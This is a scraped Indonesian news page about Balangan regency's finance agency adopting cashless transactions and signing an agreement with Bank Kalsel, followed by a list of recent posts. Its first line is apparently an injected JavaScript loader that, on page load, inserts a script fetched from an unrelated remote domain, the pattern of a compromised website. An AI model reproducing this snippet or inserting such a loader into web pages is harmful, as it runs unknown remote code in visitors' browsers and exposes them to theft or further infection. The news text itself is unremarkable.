(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

BPKPAD Balangan Terapkan Transaksi Non Tunai


KANALKALIMANTAN.COM, PARINGIN – Badan Pengelolaan Keuangan Pendapatan dan Aset Daerah (BPKPAD) Kabupaten Balangan pada 20-23 Juni 2023 melaksanakan asistensi Cash Management System Pemda (CMSP) dan penandatanganan Perjanjian Kerja Sama (PKS) degan Bank Kalsel di Hotel Grand Inna Tunjungan Surabaya, Jawa Timur.

Dalam acara tersebut beragendakan teknis pelaksanaan tes operasional transaksaksi non tunai yang mengintegrasikan aplikasi CMSP dari Bank Kalsel dengan Financial Management Information System (FMIS) Badan Pengawasan Keuangan dan Pembangunan (BPKP) RI.

Fakhrianto, Kepala BPKPAD Balangan, Rabu (3/4/2024) mengatakan, peresmian transaksi non tunai dalam pelaksanaan APBD Pemeritah Kabupaten Balangan diterapkan untuk seluruh SKPD di lingkup Pemkab Balangan. Transaksi non tunai juga dilaksanakan untuk transaksi belanja dengan uang persediaan dan belanja langsung (LS) atau Surat Perintah Pencairan Dana (SP2D) Online.

“Launching aplikasi tersebut diresmikan langsung oleh Bupati Balangan Abdul Hadi bersama dengan Direktur Bank Kalsel Fachrudin,” ungkapnya.

Baca juga: Kebut Pekerjaan Fisik, Satgas TMMD dan Warga Kerja Bakti

Dia menjelaskan, pelaksanaan transaksi non tunai oleh Pemkab Balangan merupakan bentuk tindaklanjut atas Peraturan Menteri Dalam Negeri Republik Indonesia nomor 77 Tahun 2020 tentang pedoman teknis pengelolaan keuangan daerah menyebutkan bahwa pembayaran dapat dilakukan secara online melalui mekanisme Cash Management System (CMS).

Aturan tersebut ditindaklanjuti oleh Peraturan Bupati Kabupaten Balangan nomor 109 tahun 2022 tentang sistem dan prosedur pengelolaan keuangan daerah yang menyebutkan pembayaran secara online dapat dilakukan dengan mekanisme CMS.

“Dan menindaklanjuti Instruksi Presiden Nomor 10 Tahun 2016 tentang aksi pencegahan dan pemberantasan korupsi tahun 2016 dan tahun 2017, dimana setiap pendapatan dan belanja daerah harus secara bertahap dilakukan melalui transaksi non tunai,” ujarnya.

Pelaksanaan launching transaksi non tunai dengan integrasi Cash Management System Pemda (CMSP) juga ditandai dengan penandatanganan naskah PKS antara Pemerintah Kabupaten Balangan dan Bank Kalsel, yang ditandatangani langsung oleh Bupati Balangan Abdul Hadi bersama dengan Direktur Bank Kalsel Fachrudin. (Kanalkalimantan.com/mcbalangan/infopublik)

Editor: kk


Risa

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.